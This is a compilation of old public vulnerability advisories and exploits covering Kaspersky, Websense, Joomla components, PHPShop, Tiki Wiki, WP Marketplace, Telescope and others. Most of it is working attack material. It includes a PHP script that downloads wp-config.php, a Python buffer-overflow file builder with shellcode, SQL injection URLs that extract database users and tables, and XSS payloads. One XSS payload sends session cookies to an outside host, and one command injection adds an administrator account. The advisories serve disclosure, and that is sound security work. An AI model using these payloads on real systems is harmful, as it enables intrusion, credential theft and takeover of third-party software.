FriendlyEventName=Nicht mehr funktionsfähig
ConsentKey=APPCRASH
AppName=Kaspersky Anti-Virus
AppPath=C://Program Files (x86)//Kaspersky Lab//Kaspersky Internet Security 2011//avp.exe
--- System Crash Report Queue Logs ---
Folder: Analyses//Crash Reports (System)
WER7A62.tmp.appcompat.txt
WER7FFE.tmp.mdmp
WER6127.tmp.WERInternalMetadata.xml
--- Exception Log ---
(a50.ee8): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=0331e7bc ecx=9699eef0 edx=6ddf9ba0 esi=00000002 edi=00000000
eip=76f900ed esp=0331e76c ebp=0331e808 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
--- Debug Logs ---
FAULTING_IP:
basegui+79bed
6ddf9bed 8b11 mov edx,dword ptr [ecx]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 6ddf9bed (basegui+0x00079bed)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 9699eef0
Attempt to read from address 9699eef0
PROCESS_NAME: avp.exe
FAULTING_MODULE: 755b0000 kernel32
DEBUG_FLR_IMAGE_TIMESTAMP: 4c4f15cf
MODULE_NAME: basegui
ERROR_CODE: (NTSTATUS) 0xc0000005 - Die Anweisung in 0x%08lx verweist auf Speicher 0x%08lx. Der Vorgang %s konnte nicht im Speicher durchgef hrt werden.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - Die Anweisung in 0x%08lx verweist auf Speicher 0x%08lx. Der Vorgang %s konnte nicht im Speicher durchgef hrt werden.
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 9699eef0
READ_ADDRESS: 9699eef0
FOLLOWUP_IP:
basegui+79bed
6ddf9bed 8b11 mov edx,dword ptr [ecx]
FAULTING_THREAD: 00000ee8
BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE_INVALID_POINTER_READ
PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE
DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE
LAST_CONTROL_TRANSFER: from 6ddf9bfd to 6ddf9bed
STACK_TEXT:
0331f9b8 6ddf9bfd 0331fa54 02485068 00000001 basegui+0x79bed
0331f9f0 6ddf9bfd 0331fa54 02485068 00000001 basegui+0x79bfd
0331fa28 6de5bd10 0331fa54 02485068 00000001 basegui+0x79bfd
0331fa48 6de33ad0 0331fa54 000001f6 000001c2 basegui!DllUnregisterServer+0x12580
0331fa5c 6de34320 00000200 00000000 01c201f6 basegui+0xb3ad0
0331fa9c 6de34d45 000504b4 00000200 00000000 basegui+0xb4320
0331fae0 6de33fdd 000504b4 00000200 00000000 basegui+0xb4d45
0331fb30 754c6238 00000000 00000200 00000000 basegui+0xb3fdd
0331fb5c 754f12a1 02bb0fb0 000504b4 00000200 user32!gapfnScSendMessage+0x270
0331fbd8 754f10e2 0059afd4 02bb0fb0 000504b4 user32!SendNotifyMessageW+0x341
0331fc28 754f11e7 00a06c90 00000000 00000200 user32!SendNotifyMessageW+0x182
0331fc48 754c6238 000504b4 00000200 00000000 user32!SendNotifyMessageW+0x287
0331fc74 754c68ea 754f11be 000504b4 00000200 user32!gapfnScSendMessage+0x270
0331fcec 754c7d31 0059afd4 76db3908 000504b4 user32!gapfnScSendMessage+0x922
0331fd4c 754c7dfa 76db3908 00000000 0331fd88 user32!LoadStringW+0x11f
0331fd5c 754e2292 0331fe18 00000000 0331fe18 user32!DispatchMessageW+0xf
0331fd88 754e70a9 000504b4 00000000 02485048 user32!IsDialogMessageW+0x11e
0331fdb0 6de2e50b 000504b4 0331fe18 023d9be8 user32!IsDialogMessage+0x58
0331fdcc 6de20c1c 0331fe18 74113b90 00000000 basegui+0xae50b
0331fdfc 6de231a8 0331fe18 7411383c 02e260ec basegui+0xa0c1c
0331fe50 6de07dbc 00000000 005e8228 6ddd6f8c basegui+0xa31a8
0331fe64 72da3487 00000003 00000000 005e8244 basegui+0x87dbc
STACK_COMMAND: ~5s; .ecxr ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: basegui+79bed
FOLLOWUP_NAME: MachineOwner
IMAGE_NAME: basegui.ppl
BUCKET_ID: WRONG_SYMBOLS
FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_c0000005_basegui.ppl!Unknown
WATSON_STAGEONE_URL: http://watson.microsoft.com/StageOne/avp_exe/11_0_0_232/4be3cfb6/basegui_ppl/11_0_0_241/4c4f15cf/c0000005/00079bed.htm?Retriage=1
Followup: MachineOwner
---------
0:005> lmvm basegui
start end module name
6dd80000 6df19000 basegui (export symbols) basegui.ppl
Loaded symbol image file: basegui.ppl
Image path: C://Program Files (x86)//Kaspersky Lab//Kaspersky Internet Security 2011//basegui.ppl
Image name: basegui.ppl
Timestamp: Tue Jul 27 19:22:23 2010 (4C4F15CF)
CheckSum: 0019E22D
ImageSize: 00199000
File version: 11.0.0.241
Product version: 11.0.0.241
File flags: 0 (Mask 3F)
File OS: 40004 NT Win32
File type: 1.0 App
File date: 00000000.00000000
Translations: 0409.04b0
CompanyName: Kaspersky Lab ZAO
ProductName: Kaspersky Anti-Virus
InternalName: BASEGUI
OriginalFilename: BASEGUI.DLL
ProductVersion: 11.0.0.241
FileVersion: 11.0.0.241
FileDescription: Kaspersky Anti-Virus GUI Windows part
LegalCopyright: Copyright © Kaspersky Lab ZAO 1997-2010.
LegalTrademarks: Kaspersky™ Anti-Virus ® is registered trademark of Kaspersky Lab ZAO.
0:005> .exr 0xffffffffffffffff
ExceptionAddress: 6ddf9bed (basegui+0x00079bed)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 9699eef0
Attempt to read from address 9699eef0
Information:
The kaspersky .cfg file import exception-handling filters wrong or manipulated file imports like one this first test ... (wrong-way.png).
The PoC is not affected by the import exception-handling & get through without any problems. A invalid pointer write & read allows
an local attacker to crash the software via memory corruption. The technic & software to detect the bug in the binary is prv8.
Notice:
An local attacker do not need to know any passwords to load a .cfg (Configuration) file. (access-rights.png)
Folder:
../Analyses/Debug
References(Pictures):
../appcrash1.png
../appcrash2.png
../appcrash3.png
../appcrash4.png
../appcrash5.png
../debug&exception.png
../kav2011.png
../reproduce-x32.png
../wrong-way.png
../access-rights.png
Proof of Concept:
=================
The vulnerability can be exploited by local attackers via import or remote attacker via user inter action.
For demonstration or reproduce ...
#!/usr/bin/perl
##############################################################################
my $code="corrupt" x 1;
###################################################################
$FH1 = "file1";
$FilePath1 = "part1.bin";
$FH2 = "file2";
$FilePath2 = "part2.bin";
###################################################################
open(myfile,'>> poc_pwn.cfg');
binmode myfile;
###################################################################
open(FH1, $FilePath1);
binmode FH1;
while (<FH1>) {
print myfile;
}
close(FH1);
print myfile $code;
open(FH2, $FilePath2);
binmode FH2;
while (<FH2>) {
print myfile;
}
close(FH2);
###################################################################
PoC:
../PoC/kis&kav_2011_2012_p0c.pl
../PoC/part1.bin
../PoC/part2.bin
Risk:
=====
The security risk of the bug/vulnerability is estimated as medium(+).
Credits:
========
Vulnerability Research Laboratory - Benjamin K.M. (Rem0ve)
Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.
Copyright © 2011|Vulnerability-Lab
source: https://www.securityfocus.com/bid/51156/info
Barracuda Control Center 620 is prone to an HTML injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.
https://www.example.com/bcc/editdevices.jsp?device-type=spyware&selected-node=1&containerid=[IVE]
https://www.example.com/bcc/main.jsp?device-type=[IVE]
source: https://www.securityfocus.com/bid/51149/info
epesi BIM is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
epesi BIM 1.2.0 rev 8154 is vulnerable; prior versions may also be affected.
http://www.example.com/admin/phpfm.php?frame=3&dir_atual=%3Cscript%3Ealert%28123%29;%3C/script%3E
http://www.example.com/admin/themeup.php/%22%3E%3Cscript%3Ealert%28123%29;%3C/script%3E
http://www.example.com/admin/wfb.php?msg=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
source: https://www.securityfocus.com/bid/51143/info
Cyberoam UTM is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
http://www.example.com/corporate/Controller?mode=301&tableid=[SQL]&sort=&dir=
source: https://www.securityfocus.com/bid/51141/info
Joomla! 'com_caproductprices' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
http://www.example.com/[PATH]/index.php?option=com_caproductprices&Itemid=&task=graph&id=83 (SQL)
source: https://www.securityfocus.com/bid/51130/info
PHPShop CMS is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PHPShop CMS 3.4 is vulnerable; prior versions may also be affected.
SQL:
http://www.example.com/phpshop/admpanel/photo/admin_photo_content.php?pid=6%20AND%201=2
http://www.example.com/phpshop/admpanel/page/adm_pages_new.php?catalogID=3%20AND%201=2
http://www.example.com/phpshop/admpanel/catalog/admin_cat_content.php?pid=3%20AND%201=2
http://www.example.com/phpshop/admpanel/catalog/adm_catalog_new.php?id=3%20AND%201=1
XSS:
http://www.example.com/phpshop/admpanel/banner/adm_baner_new.php/%22%3E%3Cscript%3Ealert%28document.cookie%29 ;%3C/script%3E
http://www.example.com/phpshop/admpanel/gbook/adm_gbook_new.php/%22%3E%3Cscript%3Ealert%28document.cookie%29; %3C/script%3E
http://www.example.com/phpshop/admpanel/links/adm_links_new.php/%22%3E%3Cscript%3Ealert%28document.cookie%29; %3C/script%3E
http://www.example.com/phpshop/admpanel/menu/adm_menu_new.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3 C/script%3E
http://www.example.com/gbook/?a=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/phpshop/admpanel/catalog/admin_cat_content.php?pid=%22%3E%3Cscript%3Ealert%28document. cookie%29;%3C/script%3E
http://www.example.com/phpshop/admpanel/catalog/adm_catalog_new.php?id=%%22%3E%3Cscript%3Ealert%28document.co okie%29;%3C/script%3E
http://www.example.com/phpshop/admpanel/page/adm_pages_new.php?catalogID=%22%3E%3Cscript%3Ealert%28document.c ookie%29;%3C/script%3E
http://www.example.com/phpshop/admpanel/photo/admin_photo_content.php?pid=%22%3E%3Cscript%3Ealert%28document. cookie%29;%3C/script%3E
source: https://www.securityfocus.com/bid/51128/info
Tiki Wiki CMS Groupware is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input.
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.
Tested with Firefox 7.01
Visit this URL
http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss=</style></script><script>alert(document.cookie)</script> -> blank site
But when you visit one of this pages, the XSS will be executed
http://www.example.com/tiki-8.1/tiki-login.php
http://www.example.com/tiki-8.1/tiki-remind_password.php
// browser source code
show_errors: 'y',
xss: '</style></script><script>alert(document.cookie)</script>'
};
Another example:
http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss1=</style></script><script>alert(document.cookie)</script>
http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss2=</style></script><script>alert(document.cookie)</script>
http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss3=</style></script><script>alert(document.cookie)</script>
All of them will be executed!
// browser source code
show_errors: 'y',
xss1: '</style></script><script>alert(document.cookie)</script>',
xss2: '</style></script><script>alert(document.cookie)</script>',
xss3: '</style></script><script>alert(document.cookie)</script>'
};
source: https://www.securityfocus.com/bid/51125/info
Joomla! 'com_tsonymf' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
http://www.example.com/[PATH]/index.php?option=com_tsonymf&controller=fpage&task=flypage&idofitem=162 (SQL)
# Exploit Title: WP Marketplace 2.4.0 Arbitrary File Download
# Date: 26-10-2014
# Software Link: https://wordpress.org/plugins/wpmarketplace/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
# CVE: CVE-2014-9013 and CVE-2014-9014
1. Description
Anyone can run user defined function because of call_user_func.
File: wpmarketplace\libs\cart.php
function ajaxinit(){
if(isset($_POST['action']) && $_POST['action']=='wpmp_pp_ajax_call'){
if(function_exists($_POST['execute']))
call_user_func($_POST['execute'],$_POST);
else
echo __("function not defined!","wpmarketplace");
die();
}
}
http://security.szurek.pl/wp-marketplace-240-arbitrary-file-download.html
2. Proof of Concept
$file = '../../../wp-config.php';
$url = 'http://wordpress-url/';
$user = 'userlogin';
$email = 'useremail@email.email';
$pass = 'password';
$cookie = "/cookie.txt";
$ckfile = dirname(__FILE__) . $cookie;
$cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");
// Register
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url.'?checkout_register=register');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch,
CURLOPT_POSTFIELDS,
array(
'register_form' => 'register',
'reg[user_login]' => $user,
'reg[user_email]' => $email,
'reg[user_pass]' => $pass
));
$content = curl_exec($ch);
if (!preg_match("/success/i", $content)) {
die("Cannot register");
}
// Log in
curl_setopt($ch, CURLOPT_URL, $url.'wp-login.php');
curl_setopt($ch,
CURLOPT_POSTFIELDS,
array(
'log' => $user,
'pwd' => $pass,
'wp-submit' => 'Log%20In'
));
$content = curl_exec($ch);
if (!preg_match('/adminmenu/i', $content)) {
die("Cannot login");
}
// Add subscriber as plugin admin
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,
CURLOPT_POSTFIELDS,
array(
'action' => 'wpmp_pp_ajax_call',
'execute' => 'wpmp_save_settings',
'_wpmp_settings[user_role][]' => 'subscriber'
));
$content = curl_exec($ch);
if (!preg_match('/Settings Saved Successfully/i', $content)) {
die("Cannot set role");
}
// Request noonce
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,
CURLOPT_POSTFIELDS,
array(
'action' => 'wpmp_pp_ajax_call',
'execute' => 'wpmp_front_add_product'
));
$content = curl_exec($ch);
preg_match('/name="__product_wpmp" value="([^"]+)"/i', $content, $nonce);
if (strlen($nonce[1]) < 2) {
die("Cannot get nonce");
}
// Set file to download
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,
CURLOPT_POSTFIELDS,
array(
'__product_wpmp' => $nonce[1],
'post_type' => 'wpmarketplace',
'id' => '123456',
'wpmp_list[base_price]' => '0',
'wpmp_list[file][]' => $file
));
$content = curl_exec($ch);
header("Location: ".$url."?wpmpfile=123456");
3. Solution:
Update to version 2.4.1
https://downloads.wordpress.org/plugin/wpmarketplace.2.4.1.zip
source: https://www.securityfocus.com/bid/51119/info
PHP Booking Calendar is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PHP Booking Calendar 10e is vulnerable; other versions may also be affected.
http://www.example.com/cal/details_view.php?event_id=1&date=2011-12-01&view=month&loc=loc1&page_info_message=[XSS]
#!/usr/bin/python
#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: Free MP3 CD Ripper All versions Local Buffer Overflow
#[+] Date: 20-03-2015
#[+] Type: Local Exploits
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://www.commentcamarche.net/download/telecharger-34082200-free-mp3-cd-ripper
#[+] Friendly Sites: sec4ever.com
#[+] Twitter: @TCYB3R
## EDB Note: Didn't work with Windows 7.
from struct import pack
file="evilfile.wav"
junk="\x41"*4112
eip = pack('<I',0x7C9D30D7)
nops = "\x90" * 3
#Calc.exe Shellcode
#POC:http://youtu.be/_uvHKonqO2g
shellcode = ("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78"
"\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3"
"\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd"
"\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8"
"\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5"
"\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87"
"\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca")
writeFile = open (file, "w")
writeFile.write(junk+eip+nops+shellcode)
writeFile.close()
##################################################################################################
#Exploit Title : Joomla Spider FAQ component SQL Injection vulnerability
#Author : Manish Kishan Tanwar AKA error1046
#Vendor Link : http://demo.web-dorado.com/spider-faq.html
#Date : 21/03/2015
#Discovered at : IndiShell Lab
#Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Incredible,Kishan Singh and ritu rathi
#Discovered At : Indishell Lab
##################################################################################################
////////////////////////
/// Overview:
////////////////////////
joomla component Spider FAQ is not filtering data in theme and Itemid parameters
and hence affected from SQL injection vulnerability
///////////////////////////////
// Vulnerability Description:
///////////////////////////////
vulnerability is due to theme and Itemid parameter
////////////////
/// POC ////
///////////////
POC image=http://oi57.tinypic.com/2rh1zk7.jpg
SQL Injection in theme parameter
=================================
Use error based double query injection with theme parameter
Like error based double query injection for exploiting username --->
and(select 1 FROM(select count(*),concat((select (select concat(user(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
Injected Link--->
http://website.com/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4 and(select 1 FROM(select count(*),concat((select (select concat(user(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - &searchform=1&expand=0&Itemid=109
SQL Injection in Itemid parameter
=================================
Itemid Parameter is exploitable using xpath injection
User extraction payload
------------------------
' AND EXTRACTVALUE(6678,CONCAT(0x7e,(SELECT user() LIMIT 0,1),0x7e))-- -
crafted URL--->
http://localhostm/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4&searchform=1&expand=0&Itemid=109' AND EXTRACTVALUE(6678,CONCAT(0x7e,(SELECT user() LIMIT 0,1),0x7e))-- -
Table extraction
-----------------
' and extractvalue(6678,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e))-- -
Crafted URL---->
http://localhost/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4&searchform=1&expand=0&Itemid=109' and extractvalue(6678,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e))-- -
--==[[ Greetz To ]]==--
############################################################################################
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash
#############################################################################################
--==[[Love to]]==--
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty and Don(Deepika kaushik)
--==[[ Special Fuck goes to ]]==--
<3 suriya Cyber Tyson <3
# Exploit Title: Persistent XSS via Markdown on Telescope <= 0.9.2
# Date: Aug 22 2014
# Exploit Author: shubs
# Vendor Homepage: http://www.telescopeapp.org/
# Software Link: https://github.com/TelescopeJS/Telescope
# Version: <= 0.9.2
# CVE : CVE-2014-5144
Telescope 0.9.2 and below suffer from a persistent cross site scripting
vulnerability due to the lack of input sanitisation and validation
performed when parsing markdown user input. An authenticated user can
include links, images, code blocks and more through markdown, in the form
of comments, posts or replies and more.
As an example, the following vectors below can be used in comments, posts
or replies to trigger the XSS:
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
Once posted as comments, the above markdown is converted to links without
any sanitisation. When such links are clicked, the vector is executed
successfully.
Screenshots:
http://i.imgur.com/6SQgUYd.png
http://i.imgur.com/6VeZasj.png
source: https://www.securityfocus.com/bid/51107/info
Social Network Community is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Social Network Community 2 is vulnerable; other versions may also be affected.
http://www.example.com/social2/user.php?userId=12'a
source: https://www.securityfocus.com/bid/51108/info
Video Community Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
http://www.example.com/videoportalneu/index.php?d=user&id=2â??a
source: https://www.securityfocus.com/bid/51106/info
Flirt-Projekt is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Flirt-Projekt 4.8 is vulnerable; other versions may also be affected.
http://www.example.com/flirtportal/rub2_w.php?kontaktid=f6389d0eeabdb4aaf99f3c3c949dc793&rub=1â??a
source: https://www.securityfocus.com/bid/51087/info
Multiple Websense products are prone to an authentication-bypass vulnerability.
Remote attackers can exploit this issue to bypass the authentication mechanism and gain unauthorized access.
The following Websense products are affected:
Websense Web Security Gateway Anywhere 7.6
Websense Web Security Gateway 7.6
Websense Web Security 7.6
Websense Web Filter 7.6
https://www.example.com/explorer_wse/favorites.exe?startDate=2011-10-22&endDate=2011-10-23&action=def
source: https://www.securityfocus.com/bid/51086/info
Websense Triton is prone to a remote command-execution vulnerability.
An attacker can exploit this issue to execute arbitrary commands with SYSTEM-level privileges. Successfully exploiting this issue will result in the complete compromise of affected computers.
https://www.example.com/explorer_wse/ws_irpt.exe?&SendFile=echo.pdf%26net user administrator blah|
source: https://www.securityfocus.com/bid/51085/info
Websense Triton is prone to a cross-site scripting vulnerability.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
This issue affects the following applications:
Websense Web Security Gateway Anywhere v7.6
Websense Web Security Gateway v7.6
Websense Web Security v7.6
Websense Web Filter v7.6
https://www.example.com/explorer_wse/detail.exe?c=cat&cat=153&anon=&startDate=2011-10-22&endDate=2011-10-22&session=a434cf98f3a402478599a71495a4a71e&dTitle=Internet_use_by_Category"><script>alert(document.cookie)</script>§ion=1&uid=&col=1&cor=1&explorer=1&fork=1&puid=7360
Send the current session-cookies to a credentials-collection server:
https://www.example.com/explorer_wse/detail.exe?c=cat&cat=153&anon=&startDate=2011-10-22&endDate=2011-10-22&session=a434cf98f3a402478599a71495a4a71e&dTitle=Internet_use_by_Category"><script>document.location=unescape("http://192.168.1.64/"%2bencodeURIComponent(document.cookie))</script>§ion=1&uid=&col=1&cor=1&explorer=1&fork=1&puid=7360